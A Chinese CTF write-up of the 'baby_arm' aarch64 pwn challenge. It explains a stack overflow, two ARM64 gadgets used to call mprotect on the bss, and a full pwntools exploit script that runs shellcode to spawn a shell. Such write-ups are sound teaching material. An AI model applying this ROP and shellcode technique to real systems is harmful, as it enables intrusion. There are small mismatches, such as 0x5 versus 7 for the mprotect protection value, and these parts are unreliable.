2018上海大学生网络安全大赛

这次比赛就两题pwn,我这个挂机pwn手还是继续挂机,可以说是很真实了,第一题是arm64的pwn题,总体看起来部署很难,然而第一次接触arm,还是搞不出来,本地环境出了一堆玄学问题,从跑不起来到调试不了到利用不了。第二题则是一个模拟web的GET和POST机制的一个程序,但看了好久,硬是没看出啥漏洞点,打扰了orz

后面看了一下大佬的博客,才复现成功,tql

先膜大佬:1mpossible

baby_arm

这题防御机制是这样的:主要就开了一个NX保护

1
2
3
4
5
Arch:     aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled****
PIE: No PIE (0x400000)

然后程序的逻辑就是让你输入一波字符串到bss段上,然后在输入一波字符串到栈上,可以导致栈溢出

逻辑很简单,关键点在于rop的构造,然而没接触过arm64的汇编,可以说看得很难受了

主要的gadget是这两个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:00000000004008AC loc_4008AC (gadget1)                     
.text:00000000004008AC LDR X3, [X21,X19,LSL#3]
.text:00000000004008B0 MOV X2, X22
.text:00000000004008B4 MOV X1, X23
.text:00000000004008B8 MOV W0, W24
.text:00000000004008BC ADD X19, X19, #1
.text:00000000004008C0 BLR X3
.text:00000000004008C4 CMP X19, X20
.text:00000000004008C8 B.NE loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC (gadget2)
.text:00000000004008CC LDP X19, X20, [SP,#0x10]
.text:00000000004008D0 LDP X21, X22, [SP,#0x20]
.text:00000000004008D4 LDP X23, X24, [SP,#0x30]
.text:00000000004008D8 LDP X29, X30, [SP],#0x40
.text:00000000004008DC RET

这个arm64语法也是真的很迷,这段的解释是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
loc_4008AC (gadget1)   
LDR X3, [X21,X19,LSL#3] 将X21中的地址所指向的值赋值给X3(算是间接寻址吧)
MOV X2, X22 将X22的内容赋值给X22
MOV X1, X23 将X23的内容赋值给X1
MOV W0, W24 将W24的内容赋值给W0
ADD X19, X19, #1 X19 = X19+1
BLR X3 跳转到X3执行
CMP X19, X20 比较X19和X20的值
B.NE loc_4008AC 如果X19和X20不相等则跳转到loc_4008AC,如果相等则往下继续执行


loc_4008CC (gadget2)
LDP X19, X20, [SP,#0x10] 将SP+0x10、SP+0x18中的内容分别赋值给X19、X20
LDP X21, X22, [SP,#0x20] 将SP+0x20、SP+0x28中的内容分别赋值给X21、X22
LDP X23, X24, [SP,#0x30] 将SP+0x30、SP+0x38中的内容分别赋值给X23、X24
LDP X29, X30, [SP],#0x40 将SP、SP+0x08中的内容分别赋值给X29、X30
RET

我们需要通过这两个gadget去先执行mprotect函数,构造:mprotect(0x411000,0x1000,0x7)

使得bss段可执行shellcode,根据arm64的函数调用规则,参数1~参数8 分别保存到 X0~X7 寄存器中 ,剩下的参数从右往左依次入栈,被调用者实现栈平衡,返回值存放在 X0 中。

因此我们要使得:

X0 = 0x411000 = X24

X1 = 0x1000 = X23

X2 = 0x7 = X22

同时还要使得执行完mprotect(0x411000,0x1000,0x7)后去执行shellcode

这里就需要构造第二次执行gadget2的栈布局了

于是,栈的布局应该是这样:

1
2
3
4
5
6
7
8
9
10
11
00:0000│ sp  0x40007ffe40 ◂— 0x0	--> x29
01:00080x40007ffe48 —▸ 0x4008ac ◂— ldr x3, [x21, x19, lsl #3] --> x30
02:00100x40007ffe50 ◂— 0x0 --> x19
03:00180x40007ffe58 ◂— 0x1 --> x20
04:00200x40007ffe60 —▸ 0x411168 —▸ 0x400600 (mprotect@plt) --> x21 -->x3
05:00280x40007ffe68 ◂— 0x5 --> x22 -->x2
06:00300x40007ffe70 ◂— 0x1000 -->x23 -->x1
07:00380x40007ffe78 —▸ 0x411000 -->x24-->w0
08:00400x40007ffe80 ◂— 0x0
09:00480x40007ffe88 —▸ 0x411068 -->下一个x30,shellcode的地址
0a:00500x40007ffe90 ◂— 0xdeadbeef *6

由此就可以getshell了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
import sys
import time
bin_elf = './arm_pwn'
context.binary = bin_elf
context.log_level = "debug"

if sys.argv[1] == "r":
p = remote("106.75.126.171",33865)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/",bin_elf])
else:
p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", bin_elf])

elf = ELF(bin_elf)


buf = asm(shellcraft.aarch64.sh())
buf = buf.ljust(0x100,'\x00')
buf += p64(0x400600)

p.recvuntil('Name:')
p.send(buf.ljust(0x200,'\x00'))

pause()

gadget1=0x4008AC
gadget2=0x4008CC
buf = 0x411068

payload = 'a'*0x48 + p64(gadget2)
payload += p64(0) + p64(gadget1) + p64(0) + p64(1) + p64(0x411168)
payload += p64(7) + p64(0x1000) + p64(0x411000)
payload += p64(0) + p64(buf) + p64(0xdeadbeef)*6

p.send(payload)
pause()
p.interactive()